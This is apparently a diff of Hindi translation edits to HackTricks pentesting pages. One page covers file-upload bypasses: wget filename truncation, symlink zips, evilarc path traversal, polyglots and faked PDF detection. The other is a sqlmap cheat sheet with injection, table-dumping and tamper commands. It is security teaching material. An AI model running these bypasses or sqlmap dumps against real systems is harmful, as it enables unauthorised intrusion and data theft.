- **कोड** निष्पादित करने के लिए **एक निष्पादन योग्य** (.exe) या **.html** (कम संदिग्ध) फ़ाइल अपलोड करने का प्रयास करें जो जब पीड़ित द्वारा गलती से खोली जाती है।
|
||||
5. **Windows** में **अमान्य वर्ण** जैसे `|<>*?”` के साथ फ़ाइल अपलोड करें। (Windows)
|
||||
6. **Windows** में **आरक्षित** (**निषिद्ध**) **नामों** जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9 के साथ फ़ाइल अपलोड करें।
|
||||
- **एक निष्पादन योग्य** (.exe) या **.html** (कम संदिग्ध) फ़ाइल अपलोड करने का प्रयास करें जो **कोड निष्पादित** करेगी जब इसे पीड़ित द्वारा गलती से खोला जाएगा।
|
||||
|
||||
### विशेष एक्सटेंशन ट्रिक्स
|
||||
|
||||
यदि आप **PHP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.htaccess** ट्रिक पर एक नज़र डालें](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
यदि आप **ASP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.config** ट्रिक पर एक नज़र डालें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
यदि आप **PHP सर्वर** पर फ़ाइलें अपलोड करने की कोशिश कर रहे हैं, तो [कोड निष्पादित करने के लिए **.htaccess** ट्रिक पर एक नज़र डालें](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
यदि आप **ASP सर्वर** पर फ़ाइलें अपलोड करने की कोशिश कर रहे हैं, तो [कोड निष्पादित करने के लिए **.config** ट्रिक पर एक नज़र डालें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
`.phar` फ़ाइलें Java के लिए `.jar` की तरह होती हैं, लेकिन PHP के लिए, और इन्हें **PHP फ़ाइल** की तरह **उपयोग किया जा सकता है** (PHP के साथ निष्पादित करना, या इसे स्क्रिप्ट के अंदर शामिल करना...)
|
||||
`.phar` फ़ाइलें Java के लिए `.jar` की तरह होती हैं, लेकिन PHP के लिए, और इसे **PHP फ़ाइल** की तरह **उपयोग किया जा सकता है** (इसे PHP के साथ निष्पादित करना, या इसे स्क्रिप्ट के अंदर शामिल करना...)
|
||||
|
||||
`.inc` एक्सटेंशन कभी-कभी PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलों को **आयात** करने के लिए उपयोग की जाती हैं, इसलिए, किसी बिंदु पर, किसी ने **इस एक्सटेंशन को निष्पादित करने** की अनुमति दी हो सकती है।
|
||||
`.inc` एक्सटेंशन कभी-कभी PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलों को **आयात** करने के लिए उपयोग की जाती हैं, इसलिए, किसी बिंदु पर, किसी ने **इस एक्सटेंशन को निष्पादित करने की अनुमति दी हो**।
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
@ -106,9 +106,9 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
इस भेद्यता की विस्तृत खोज के लिए मूल शोध देखें: [uWSGI RCE शोषण](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Remote Command Execution (RCE) भेद्यताएँ uWSGI सर्वरों में शोषित की जा सकती हैं यदि किसी के पास `.ini` कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता हो। uWSGI कॉन्फ़िगरेशन फ़ाइलें "जादुई" चर, प्लेसहोल्डर और ऑपरेटर को शामिल करने के लिए एक विशिष्ट वाक्यविन्यास का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, जिसका उपयोग `@(filename)` के रूप में किया जाता है, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से शक्तिशाली है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देती है। इस सुविधा का दुरुपयोग Remote Command Execution या Arbitrary File Write/Read के लिए किया जा सकता है जब एक `.ini` कॉन्फ़िगरेशन फ़ाइल संसाधित की जाती है।
|
||||
रिमोट कमांड निष्पादन (RCE) भेद्यताएँ uWSGI सर्वरों में शोषित की जा सकती हैं यदि किसी के पास `.ini` कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता हो। uWSGI कॉन्फ़िगरेशन फ़ाइलें "जादुई" चर, प्लेसहोल्डर और ऑपरेटर को शामिल करने के लिए एक विशिष्ट वाक्यविन्यास का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, जिसका उपयोग `@(filename)` के रूप में किया जाता है, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से शक्तिशाली है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देती है। इस सुविधा का दुरुपयोग रिमोट कमांड निष्पादन या मनमाने फ़ाइल लेखन/पढ़ने के लिए किया जा सकता है जब एक `.ini` कॉन्फ़िगरेशन फ़ाइल संसाधित की जाती है।
|
||||
|
||||
हानिकारक `uwsgi.ini` फ़ाइल का निम्नलिखित उदाहरण विचार करें, जो विभिन्न योजनाओं को प्रदर्शित करता है:
|
||||
हानिकारक `uwsgi.ini` फ़ाइल का निम्नलिखित उदाहरण विभिन्न योजनाओं को प्रदर्शित करता है:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -132,8 +132,8 @@ uWSGI की कॉन्फ़िगरेशन फ़ाइल पार्
|
||||
|
||||
## **wget फ़ाइल अपलोड/SSRF ट्रिक**
|
||||
|
||||
कुछ अवसरों पर आप पाएंगे कि एक सर्वर **`wget`** का उपयोग **फ़ाइलें डाउनलोड करने** के लिए कर रहा है और आप **URL** को **संकेत** कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन एक व्हाइटलिस्ट के भीतर है ताकि यह सुनिश्चित किया जा सके कि केवल अनुमत फ़ाइलें ही डाउनलोड की जाएंगी। हालाँकि, **यह जांच बायपास की जा सकती है।**\
|
||||
**linux** में **फ़ाइल नाम** की **अधिकतम** लंबाई **255** है, हालाँकि, **wget** फ़ाइल नामों को **236** वर्णों तक संक्षिप्त करता है। आप **"A"\*232+".php"+".gif"** नामक फ़ाइल को **डाउनलोड** कर सकते हैं, यह फ़ाइल नाम **जांच** को **बायपास** करेगा (जैसे कि इस उदाहरण में **".gif"** एक **मान्य** एक्सटेंशन है) लेकिन `wget` फ़ाइल का नाम **"A"\*232+".php"** में **बदल देगा**।
|
||||
कुछ अवसरों पर आप देख सकते हैं कि एक सर्वर **`wget`** का उपयोग **फ़ाइलें डाउनलोड करने** के लिए कर रहा है और आप **URL** को **संकेत** कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन एक व्हाइटलिस्ट के भीतर है ताकि यह सुनिश्चित किया जा सके कि केवल अनुमत फ़ाइलें ही डाउनलोड की जाएंगी। हालाँकि, **यह जांच बायपास की जा सकती है।**\
|
||||
**linux** में **फ़ाइल नाम** की **अधिकतम** लंबाई **255** है, हालाँकि, **wget** फ़ाइल नामों को **236** वर्णों तक संक्षिप्त करता है। आप **"A"\*232+".php"+".gif"** नाम की फ़ाइल **डाउनलोड** कर सकते हैं, यह फ़ाइल नाम **जांच** को **बायपास** करेगा (जैसे कि इस उदाहरण में **".gif"** एक **मान्य** एक्सटेंशन है) लेकिन `wget` फ़ाइल का नाम **"A"\*232+".php"** में **बदल देगा**।
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -156,7 +156,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
ध्यान दें कि **एक और विकल्प** जिसे आप इस जांच को बायपास करने के लिए सोच रहे होंगे, वह है **HTTP सर्वर को एक अलग फ़ाइल पर रीडायरेक्ट करना**, ताकि प्रारंभिक URL जांच को बायपास कर सके और फिर wget रीडायरेक्ट की गई फ़ाइल को नए नाम के साथ डाउनलोड करेगा। यह **काम नहीं करेगा** **जब तक** wget को **पैरामीटर** `--trust-server-names` के साथ उपयोग नहीं किया जा रहा है क्योंकि **wget रीडायरेक्ट की गई पृष्ठ को मूल URL में निर्दिष्ट फ़ाइल के नाम के साथ डाउनलोड करेगा**।
|
||||
ध्यान दें कि **एक और विकल्प** जिसे आप इस जांच को बायपास करने के लिए सोच सकते हैं, वह है **HTTP सर्वर को एक अलग फ़ाइल पर रीडायरेक्ट करना**, ताकि प्रारंभिक URL जांच को बायपास कर दे और फिर wget रीडायरेक्ट की गई फ़ाइल को नए नाम के साथ डाउनलोड कर ले। यह **काम नहीं करेगा** **जब तक** wget को **पैरामीटर** `--trust-server-names` के साथ उपयोग नहीं किया जा रहा है क्योंकि **wget रीडायरेक्ट की गई पृष्ठ को मूल URL में निर्दिष्ट फ़ाइल के नाम के साथ डाउनलोड करेगा**।
|
||||
|
||||
## उपकरण
|
||||
|
||||
@ -171,13 +171,13 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
- [**XSS** इमेज (svg) फ़ाइल अपलोड में](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** फ़ाइल **अपलोड** + **XSS** = [**सेवा कार्यकर्ता** शोषण](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE svg अपलोड में**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**SVG फ़ाइल अपलोड के माध्यम से ओपन रीडायरेक्ट**](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- [**ओपन रीडायरेक्ट** svg फ़ाइल अपलोड के माध्यम से](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) से **विभिन्न svg पेलोड** का प्रयास करें\*\*\*\*
|
||||
- [प्रसिद्ध **ImageTrick** कमजोरी](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- यदि आप **वेब सर्वर को एक URL से इमेज पकड़ने के लिए इंगित कर सकते हैं** तो आप [SSRF](../ssrf-server-side-request-forgery/index.html) का शोषण करने का प्रयास कर सकते हैं। यदि यह **इमेज** किसी **सार्वजनिक** साइट पर **सहेजी** जा रही है, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) से एक URL भी इंगित कर सकते हैं और **हर आगंतुक की जानकारी चुरा सकते हैं**।
|
||||
- यदि आप **वेब सर्वर को URL से इमेज पकड़ने के लिए इंगित कर सकते हैं** तो आप [SSRF](../ssrf-server-side-request-forgery/index.html) का शोषण करने का प्रयास कर सकते हैं। यदि यह **इमेज** किसी **सार्वजनिक** साइट पर **सहेजी** जा रही है, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) से एक URL भी इंगित कर सकते हैं और **हर आगंतुक की जानकारी चुरा सकते हैं**।
|
||||
- [PDF-Adobe अपलोड के साथ **XXE और CORS** बायपास](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- विशेष रूप से तैयार किए गए PDFs को XSS के लिए: [निम्नलिखित पृष्ठ प्रस्तुत करता है कि **JS निष्पादन प्राप्त करने के लिए PDF डेटा कैसे इंजेक्ट करें**](../xss-cross-site-scripting/pdf-injection.md)। यदि आप PDFs अपलोड कर सकते हैं तो आप कुछ PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार मनमाना JS निष्पादित करेगा।
|
||||
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) सामग्री को अपलोड करें ताकि यह जांचा जा सके कि सर्वर में कोई **एंटीवायरस** है या नहीं
|
||||
- XSS के लिए विशेष रूप से तैयार किए गए PDFs: [निम्नलिखित पृष्ठ दिखाता है कि **JS निष्पादन प्राप्त करने के लिए PDF डेटा कैसे इंजेक्ट करें**](../xss-cross-site-scripting/pdf-injection.md)। यदि आप PDFs अपलोड कर सकते हैं तो आप कुछ PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार मनमाना JS निष्पादित करेगा।
|
||||
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) सामग्री अपलोड करें ताकि यह जांचा जा सके कि सर्वर में कोई **एंटीवायरस** है या नहीं
|
||||
- फ़ाइलें अपलोड करते समय यदि कोई **आकार सीमा** है तो जांचें
|
||||
|
||||
यहाँ शीर्ष 10 चीजों की सूची है जो आप अपलोड करके प्राप्त कर सकते हैं (से [यहाँ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
@ -206,13 +206,13 @@ https://github.com/portswigger/upload-scanner
|
||||
|
||||
अन्य फ़ाइल प्रकारों के लिए [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) पर जाएं।
|
||||
|
||||
### ज़िप/टार फ़ाइल स्वचालित रूप से डिकंप्रेस्ड अपलोड
|
||||
## ज़िप/टार फ़ाइल स्वचालित रूप से डिकंप्रेस्ड अपलोड
|
||||
|
||||
यदि आप एक ZIP अपलोड कर सकते हैं जो सर्वर के अंदर डिकंप्रेस होने जा रहा है, तो आप 2 चीजें कर सकते हैं:
|
||||
|
||||
#### सिम्लिंक
|
||||
### सिम्लिंक
|
||||
|
||||
अन्य फ़ाइलों के लिए सॉफ्ट लिंक वाले लिंक को अपलोड करें, फिर, डिकंप्रेस की गई फ़ाइलों तक पहुँचते समय आप लिंक की गई फ़ाइलों तक पहुँचेंगे:
|
||||
एक लिंक अपलोड करें जिसमें अन्य फ़ाइलों के लिए सॉफ्ट लिंक शामिल हैं, फिर, डिकंप्रेस की गई फ़ाइलों तक पहुँचकर आप लिंक की गई फ़ाइलों तक पहुँचेंगे:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
@ -222,7 +222,7 @@ tar -cvf test.tar symindex.txt
|
||||
|
||||
डिकम्प्रेशन के दौरान निर्देशिकाओं में फ़ाइलों का अप्रत्याशित निर्माण एक महत्वपूर्ण समस्या है। प्रारंभिक धारणाओं के बावजूद कि यह सेटअप दुर्भावनापूर्ण फ़ाइल अपलोड के माध्यम से OS-स्तरीय कमांड निष्पादन के खिलाफ सुरक्षा कर सकता है, ZIP आर्काइव प्रारूप की पदानुक्रमित संपीड़न समर्थन और निर्देशिका traversal क्षमताओं का शोषण किया जा सकता है। यह हमलावरों को प्रतिबंधों को बायपास करने और लक्षित एप्लिकेशन की डिकम्प्रेशन कार्यक्षमता को हेरफेर करके सुरक्षित अपलोड निर्देशिकाओं से बाहर निकलने की अनुमति देता है।
|
||||
|
||||
ऐसी फ़ाइलें बनाने के लिए एक स्वचालित शोषण [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) पर उपलब्ध है। उपयोगिता का उपयोग इस प्रकार किया जा सकता है:
|
||||
इस तरह की फ़ाइलें बनाने के लिए एक स्वचालित शोषण [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) पर उपलब्ध है। उपयोगिता का उपयोग इस प्रकार किया जा सकता है:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
@ -297,14 +297,22 @@ PNG फ़ाइल के IDAT भाग में PHP शेल एम्ब
|
||||
|
||||
## पॉलीग्लॉट फ़ाइलें
|
||||
|
||||
पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अनूठा उपकरण के रूप में कार्य करती हैं, जो ऐसे गिरगिट की तरह होती हैं जो एक साथ कई फ़ाइल प्रारूपों में वैध रूप से मौजूद हो सकती हैं। एक दिलचस्प उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, जो एक हाइब्रिड है जो GIF और RAR आर्काइव दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।
|
||||
पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अनूठा उपकरण के रूप में कार्य करती हैं, जो चामेलियन्स की तरह होती हैं जो एक साथ कई फ़ाइल प्रारूपों में वैध रूप से मौजूद रह सकती हैं। एक दिलचस्प उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, जो एक हाइब्रिड है जो GIF और RAR आर्काइव दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।
|
||||
|
||||
पॉलीग्लॉट फ़ाइलों की मुख्य उपयोगिता उनकी क्षमता में निहित है जो फ़ाइलों को प्रकार के आधार पर स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा केवल कुछ फ़ाइल प्रकारों को अपलोड करने की अनुमति देना है—जैसे JPEG, GIF, या DOC—संभावित हानिकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालाँकि, एक पॉलीग्लॉट, जो कई फ़ाइल प्रकारों के संरचनात्मक मानदंडों के अनुसार होता है, चुपचाप इन प्रतिबंधों को बायपास कर सकता है।
|
||||
पॉलीग्लॉट फ़ाइलों की मुख्य उपयोगिता उनकी क्षमता में निहित है जो फ़ाइलों को प्रकार के आधार पर स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा केवल कुछ फ़ाइल प्रकारों को अपलोड करने की अनुमति देना है—जैसे JPEG, GIF, या DOC—संभावित हानिकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालाँकि, एक पॉलीग्लॉट, जो कई फ़ाइल प्रकारों के संरचनात्मक मानदंडों के अनुरूप है, चुपचाप इन प्रतिबंधों को बायपास कर सकता है।
|
||||
|
||||
अपनी अनुकूलता के बावजूद, पॉलीग्लॉट्स सीमाओं का सामना करते हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट एक साथ एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को समाहित कर सकता है, इसके अपलोड की सफलता प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशनों के बारे में सख्त है, तो पॉलीग्लॉट की केवल संरचनात्मक द्वैतता इसके अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती है।
|
||||
हालांकि उनकी अनुकूलता के बावजूद, पॉलीग्लॉट्स सीमाओं का सामना करते हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को एक साथ रख सकता है, इसके अपलोड की सफलता प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमेय एक्सटेंशनों के बारे में सख्त है, तो पॉलीग्लॉट की केवल संरचनात्मक द्वैतता इसके अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती है।
|
||||
|
||||
अधिक जानकारी के लिए: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### PDF की तरह मान्य JSON अपलोड करें
|
||||
|
||||
कैसे फ़ाइल प्रकार की पहचान से बचें और एक मान्य JSON फ़ाइल अपलोड करें, भले ही PDF फ़ाइल की नकल करके अनुमति न हो (तकनीकें **[इस ब्लॉग पोस्ट](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** से):
|
||||
|
||||
- **`mmmagic` लाइब्रेरी**: जब तक पहले 1024 बाइट्स में `%PDF` मैजिक बाइट्स हैं, यह मान्य है (पोस्ट से उदाहरण प्राप्त करें)
|
||||
- **`pdflib` लाइब्रेरी**: JSON के एक फ़ील्ड के अंदर एक नकली PDF प्रारूप जोड़ें ताकि लाइब्रेरी इसे PDF समझे (पोस्ट से उदाहरण प्राप्त करें)
|
||||
- **`file` बाइनरी**: यह एक फ़ाइल से 1048576 बाइट्स तक पढ़ सकता है। बस एक JSON बनाएं जो उससे बड़ा हो ताकि यह सामग्री को JSON के रूप में पार्स न कर सके और फिर JSON के अंदर एक असली PDF का प्रारंभिक भाग डालें और यह सोचेगा कि यह एक PDF है
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
@ -313,5 +321,6 @@ PNG फ़ाइल के IDAT भाग में PHP शेल एम्ब
|
||||
- [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
|
||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -43,22 +43,22 @@
|
||||
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
|
||||
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
|
||||
```
|
||||
[SQLMapping](https://taurusomar.github.io/sqlmapping/) का उपयोग करते हुए, यह एक व्यावहारिक उपकरण है जो कमांड उत्पन्न करता है और SQLMap के लिए एक संपूर्ण अवलोकन प्रदान करता है, दोनों बुनियादी और उन्नत। इसमें ToolTips शामिल हैं जो उपकरण के प्रत्येक पहलू को समझाते हैं, हर विकल्प का विवरण देते हैं ताकि आप इसे कुशलता और प्रभावी ढंग से उपयोग करना सीख सकें।
|
||||
Using [SQLMapping](https://taurusomar.github.io/sqlmapping/) यह एक व्यावहारिक उपकरण है जो कमांड उत्पन्न करता है और SQLMap के लिए एक संपूर्ण अवलोकन प्रदान करता है, दोनों बुनियादी और उन्नत। इसमें ToolTips शामिल हैं जो उपकरण के प्रत्येक पहलू को समझाते हैं, हर विकल्प का विवरण देते हैं ताकि आप इसे कुशलता और प्रभावी ढंग से उपयोग करना सीख सकें।
|
||||
|
||||
## Injection place
|
||||
|
||||
### From Burp/ZAP capture
|
||||
|
||||
अनुरोध को कैप्चर करें और एक req.txt फ़ाइल बनाएं।
|
||||
Capture the request and create a req.txt file
|
||||
```bash
|
||||
sqlmap -r req.txt --current-user
|
||||
```
|
||||
### GET अनुरोध इंजेक्शन
|
||||
### GET Request Injection
|
||||
```bash
|
||||
sqlmap -u "http://example.com/?id=1" -p id
|
||||
sqlmap -u "http://example.com/?id=*" -p id
|
||||
```
|
||||
### POST अनुरोध इंजेक्शन
|
||||
### POST Request Injection
|
||||
```bash
|
||||
sqlmap -u "http://example.com" --data "username=*&password=*"
|
||||
```
|
||||
@ -76,13 +76,17 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
||||
|
||||
#The injection is located at the '*'
|
||||
```
|
||||
### सफल इंजेक्शन होने पर स्ट्रिंग इंगित करें
|
||||
### इंजेक्शन सफल होने पर स्ट्रिंग इंगित करें
|
||||
```bash
|
||||
--string="string_showed_when_TRUE"
|
||||
```
|
||||
### Add detection technique
|
||||
|
||||
यदि आपने एक SQLi पाया है लेकिन sqlmap ने इसे नहीं पहचाना, तो आप `--prefix` या `--suffix` जैसे args के साथ पहचान तकनीक को मजबूर कर सकते हैं, या यदि अधिक जटिल है, तो इसे sqlmap द्वारा उपयोग किए जाने वाले payloads में जोड़ सकते हैं जैसे कि `/usr/share/sqlmap/data/xml/payloads/time_blind.xml` में, उदाहरण के लिए टाइम ब्लाइंड आधारित।
|
||||
|
||||
### Eval
|
||||
|
||||
**Sqlmap** `-e` या `--eval` का उपयोग करने की अनुमति देता है ताकि प्रत्येक payload को कुछ python oneliner के साथ भेजने से पहले प्रोसेस किया जा सके। यह payload को भेजने से पहले कस्टम तरीकों से प्रोसेस करना बहुत आसान और तेज़ बनाता है। निम्नलिखित उदाहरण में **flask cookie session** **को भेजने से पहले ज्ञात गुप्त के साथ flask द्वारा हस्ताक्षरित किया गया है**:
|
||||
**Sqlmap** `-e` या `--eval` का उपयोग करने की अनुमति देता है ताकि प्रत्येक payload को कुछ python oneliner के साथ भेजने से पहले प्रोसेस किया जा सके। यह कस्टम तरीकों से payload को भेजने से पहले प्रोसेस करना बहुत आसान और तेज बनाता है। निम्नलिखित उदाहरण में **flask cookie session** **को भेजने से पहले ज्ञात गुप्त के साथ flask द्वारा हस्ताक्षरित किया गया है**:
|
||||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
@ -109,7 +113,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
|
||||
--crawl = how deep you want to crawl a site
|
||||
--forms = Parse and test forms
|
||||
```
|
||||
### दूसरे क्रम का इंजेक्शन
|
||||
### सेकंड ऑर्डर इंजेक्शन
|
||||
```bash
|
||||
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
|
||||
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
|
||||
@ -126,14 +130,14 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
|
||||
```bash
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
|
||||
```
|
||||
### बूलियन इंजेक्शन खोजने में मदद
|
||||
### Boolean इंजेक्शन खोजने में मदद
|
||||
```bash
|
||||
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
|
||||
sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
```
|
||||
### Tamper
|
||||
|
||||
याद रखें कि **आप अपने खुद के tamper को python में बना सकते हैं** और यह बहुत सरल है। आप [Second Order Injection पृष्ठ पर एक tamper उदाहरण यहाँ](second-order-injection-sqlmap.md) पा सकते हैं।
|
||||
याद रखें कि **आप अपने खुद के tamper को python में बना सकते हैं** और यह बहुत सरल है। आप [Second Order Injection page here](second-order-injection-sqlmap.md) में एक tamper उदाहरण पा सकते हैं।
|
||||
```bash
|
||||
--tamper=name_of_the_tamper
|
||||
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
||||
@ -143,19 +147,19 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| apostrophemask.py | अपॉस्ट्रॉफ चर को इसके UTF-8 पूर्ण चौड़ाई समकक्ष के साथ बदलता है |
|
||||
| apostrophenullencode.py | अपॉस्ट्रॉफ चर को इसके अवैध डबल यूनिकोड समकक्ष के साथ बदलता है |
|
||||
| appendnullbyte.py | पेलोड के अंत में एन्कोडेड NULL बाइट चर जोड़ता है |
|
||||
| base64encode.py | दिए गए पेलोड में सभी चर को Base64 में परिवर्तित करता है |
|
||||
| between.py | बड़े से बड़ा ऑपरेटर ('>') को 'NOT BETWEEN 0 AND #' के साथ बदलता है |
|
||||
| base64encode.py | दिए गए पेलोड में सभी चर को Base64 में एन्कोड करता है |
|
||||
| between.py | '>' ऑपरेटर को 'NOT BETWEEN 0 AND #' के साथ बदलता है |
|
||||
| bluecoat.py | SQL कथन के बाद स्पेस चर को एक मान्य यादृच्छिक खाली चर के साथ बदलता है। इसके बाद चर = को LIKE ऑपरेटर के साथ बदलता है |
|
||||
| chardoubleencode.py | दिए गए पेलोड में सभी चर को डबल URL-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता) |
|
||||
| commalesslimit.py | 'LIMIT M, N' जैसे उदाहरणों को 'LIMIT N OFFSET M' के साथ बदलता है |
|
||||
| commalessmid.py | 'MID(A, B, C)' जैसे उदाहरणों को 'MID(A FROM B FOR C)' के साथ बदलता है |
|
||||
| concat2concatws.py | 'CONCAT(A, B)' जैसे उदाहरणों को 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' के साथ बदलता है |
|
||||
| charencode.py | दिए गए पेलोड में सभी चर को URL-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता) |
|
||||
